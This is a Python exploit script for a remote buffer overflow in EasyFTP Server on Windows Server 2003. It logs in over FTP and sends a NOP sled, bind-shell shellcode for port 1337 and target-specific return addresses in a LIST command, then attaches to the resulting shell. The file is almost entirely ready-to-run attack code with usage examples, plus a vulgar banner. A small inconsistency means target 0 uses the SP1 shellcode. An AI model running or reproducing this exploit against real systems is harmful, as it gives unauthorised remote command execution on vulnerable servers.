#!/usr/bin/env python3

# EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow 
# Original code using python 2.6 developed in 2013 
# Code patched in 2026 -> adjustment for python3
# Code :  Antonius (w1sdom) - bluedragonsec.com
# bluedragonsec.com - https://github.com/bluedragonsecurity
# exploit target :  
# 0 --> windows server 2003 standard
# 1 --> windows server 2003 sp1
# 2 --> windows server 2003 sp2
# How to run ?
# ./exploit.py <ip> <user> <password> <target>
# Example ?
# ./exploit.py 192.168.56.23 admin admin 0
# ./exploit.py 192.168.56.231 admin admin 1
# ./exploit.py 192.168.56.232 admin admin 2

import socket, sys, os, time, select

def banner():
    print("""
                                                                          
                              .@@@@@@#                                
 .       .                   %@@@%@@%%%=                              
                            +%%+==-=*@@@*                             
                            @@#==-+===@@@=                            
               .           *@@*=*-#+--=#=@.                           
               .           %@@*=#---:-==@@#                           
               .           %@@%+*-----=@@@#                           
               .           +@@@%+*+--++@@@*                           
                            +@@@@%+#+=#@@@                            
                   .         #@@=*#+=---*.                            
       .                      :*##*=+--=#====-.                       
                         .*+++*+++===--=#---=---:                     
                         *++++++++======#-------=                     
                         ***%#===-=++==*#=--=---=-                    
 .                       *##*#=-::=+=#****-=+=-===                    
           .             ######:::*+##*****=#=-===                    
                         ##%####--#%#####**+%+===-                    
             .           #%%%%%#==+*%%%%%%#+.+===:                    
                        :#%%**+=-==---:---+: +===                     
                        **#%**+====------=+  *===                     
                        ***%***+=====--===   ++==.                    
                       *=+*%***+======--=+   *==--                    
                       *=+#***+====-----==   #+==+.                   
                       +=*****+-+==------=+  *+==+                    
  .                   :++%****+===-------==  :+==+                    
  .                   #+%%*+***++===-----=*#. *==:                    
       .              *%#*##%#*+++===####-#=%+#==                     
          .         ..+%#**############===+*# #== .                   
.           .        +=%#++++%%#####%#+====#+.+=+                     
...         .        *=##*+===%%%%%%#*+==-=#=+==+ .                   
 . .   . .. .       **+=#*+====*%%%#**+=--==+*==+.                    
. . .     .  . .    ***.+*+=====+*%#*++=--==#*+==. .     .            
.. .. ..  ..  .  .  .=#*:#*+====+*%#*+==--==+#-*+.                    
..... . .... ..   .  ..  #**+++++#%#*++=--==+#**: .                   
........ ..  .     .  .  :#*++++*###**+====++                        .
.... .. . ... .   .       #**+++*###**+====+:               .         
.......  ....          ...:**+++*###**+===++                          

------------------------------------------------


      EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow 
      Original code using python 2.6 developed in 2013 
      Code patched in 2026 -> adjustment for python3
      
      Exploit developed by Antonius (w1sdom) - bluedragonsec.com
      bluedragonsec.com - https://github.com/bluedragonsecurity
     
      exploit target :  
      0 --> windows server 2003 standard
      1 --> windows server 2003 sp1
      2 --> windows server 2003 sp2
     
    8====o 8====o 8====o 8====o BIG DICK 8====o 8====o 8====o 8====o 
    """);

def usage():
    print("""
    Usage: ./exploit.py <ip> <user> <password> <target>
    Targets:
    0 --> Windows Server 2003 SP0
    1 --> Windows Server 2003 SP1
    2 --> Windows Server 2003 SP2

    Examples:
    ./exploit.py 192.168.56.23 admin admin 0
    ./exploit.py 192.168.56.231 admin admin 1
    ./exploit.py 192.168.56.232 admin admin 2
    """)

def shell(ip, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((ip, port))
    except:
        print("[-] exploit failed")
        return
    print(f"[*] connected to {ip}:{port}")
    while True:
        r, _, _ = select.select([s, sys.stdin], [], [])
        if s in r:
            data = s.recv(4096)
            if not data:
                break
            sys.stdout.write(data.decode(errors='replace'))
            sys.stdout.flush()
        if sys.stdin in r:
            data = sys.stdin.buffer.read1(4096)
            if not data:
                break
            s.send(data)
    s.close()

banner()
if len(sys.argv) < 5:
    usage()
    sys.exit(1)
ip = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
target = int(sys.argv[4])
#116 bytes private bind shell for windows x86 - bind port 1337
#for windows server 2003 standard (no service pack)
bind1337 = (
b"\x83\xC4\xEC\x33\xC0\x50\x50\x50\x6A\x06"
b"\x6A\x01\x6A\x02\xB8"
b"\xF0\x23\xC1\x71"
b"\xFF\xD0\x8B\xD8\x33\xC0\x89\x45\xF4\xB0"
b"\x02\x66\x89\x45\xF0\x66\xC7\x45\xF2\x05"
b"\x39\x6A\x10\x8D\x55\xF0\x52\x53\xB8"
b"\x70\x7C\xC0\x71"
b"\xFF\xD0\x6A\x01\x53\xB8"
b"\x70\x7D\xC0\x71"
b"\xFF\xD0\x33\xC0\x50\x50\x53\xB8"
b"\x70\x24\xC1\x71"
b"\xFF\xD0\x8B\xD8\xBA"
b"\x46\x5F\xE5\x77"
b"\x53\x6A\xF6\xFF\xD2\x53\x6A\xF5\xFF\xD2"
b"\x53\x6A\xF4\xFF\xD2\xC7\x45\xFB\x41\x63"
b"\x6D\x64\x8D\x45\xFC\x50\xB8"
b"\x10\x8C\xBB\x77"
b"\xFF\xD0")

#116 bytes private bind shell for windows x86 - bind port 1337
#for windows server 2003 sp1
bind1337_sp1 = (
b"\x83\xC4\xEC\x33\xC0\x50\x50\x50\x6A\x06"
b"\x6A\x01\x6A\x02\xB8"
b"\x6B\x57\xC0\x71"                             # WSASocketA  0x71C0576B
b"\xFF\xD0\x8B\xD8\x33\xC0\x89\x45\xF4\xB0"
b"\x02\x66\x89\x45\xF0\x66\xC7\x45\xF2\x05"
b"\x39\x6A\x10\x8D\x55\xF0\x52\x53\xB8"
b"\x49\x6E\xC0\x71"                             # bind        0x71C06E49
b"\xFF\xD0\x6A\x01\x53\xB8"
b"\xB1\x56\xC0\x71"                             # listen      0x71C056B1
b"\xFF\xD0\x33\xC0\x50\x50\x53\xB8"
b"\xBD\x57\xC0\x71"                             # accept      0x71C057BD
b"\xFF\xD0\x8B\xD8\xBA"
b"\x0E\xB3\xE4\x77"                             # SetStdHandle 0x77E4B30E
b"\x53\x6A\xF6\xFF\xD2\x53\x6A\xF5\xFF\xD2"
b"\x53\x6A\xF4\xFF\xD2\xC7\x45\xFB\x41\x63"
b"\x6D\x64\x8D\x45\xFC\x50\xB8"
b"\x83\xA0\xBB\x77"                             # system      0x77BBA083
b"\xFF\xD0"
)

#116 bytes private bind shell for windows x86 - bind port 1337
#for windows server 2003 sp2
bind1337_sp2 = (
b"\x83\xC4\xEC\x33\xC0\x50\x50\x50\x6A\x06"
b"\x6A\x01\x6A\x02\xB8"
b"\x40\x12\xC1\x71"                             # WSASocketA  0x71C11240
b"\xFF\xD0\x8B\xD8\x33\xC0\x89\x45\xF4\xB0"
b"\x02\x66\x89\x45\xF0\x66\xC7\x45\xF2\x05"
b"\x39\x6A\x10\x8D\x55\xF0\x52\x53\xB8"
b"\x8D\x43\xC0\x71"                             # bind        0x71C0438D
b"\xFF\xD0\x6A\x01\x53\xB8"
b"\xFD\x8F\xC0\x71"                             # listen      0x71C08FFD
b"\xFF\xD0\x33\xC0\x50\x50\x53\xB8"
b"\xAB\x12\xC1\x71"                             # accept      0x71C112AB
b"\xFF\xD0\x8B\xD8\xBA"
b"\xCB\x12\xE7\x77"                             # SetStdHandle 0x77E712CB
b"\x53\x6A\xF6\xFF\xD2\x53\x6A\xF5\xFF\xD2"
b"\x53\x6A\xF4\xFF\xD2\xC7\x45\xFB\x41\x63"
b"\x6D\x64\x8D\x45\xFC\x50\xB8"
b"\x83\xA0\xBB\x77"                             # system      0x77BBA083
b"\xFF\xD0"
)

sc = bind1337_sp1
nopsled = b"\x90" * 152
ret = b"\xFD\xFE\xF6\x77"
if target == 0:
    #jmp edi from ntdll.dll - windows server 2003 standard
    print("[*] target = windows server 2003 standard")
    ret = b"\xFD\xFE\xF6\x77"
elif target == 1:
    #7C8023D7 -> jmp edi from ntdll.dll - windows server 2003 sp1
    print("[*] target = windows server 2003 sp1")
    ret = b"\xD7\x23\x80\x7C"
    sc = bind1337_sp1
elif target == 2:
    #jmp edi from ntdll.dll - windows server 2003 sp2
    #7C87544B   FFE7             JMP EDI
    print("[*] target = windows server 2003 sp2")
    ret = b"\x4B\x54\x87\x7C"
    sc = bind1337_sp2
payload = nopsled + sc + ret 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect= s.connect((ip, 21))
    print ("[+] connected")
except:
    print ("[!] failed to connect")
    sys.exit(0)
s.recv(1024)
s.send(b'USER ' + user.encode() + b'\r\n')
s.recv(1024)
s.send(b'PASS ' + password.encode() + b'\r\n')
s.recv(1024)
print ("[+] sending payload")
s.send(b'LIST ' + payload + b'\r\n')
print("[!] please wait ...")
time.sleep(2)
shell(ip, 1337)

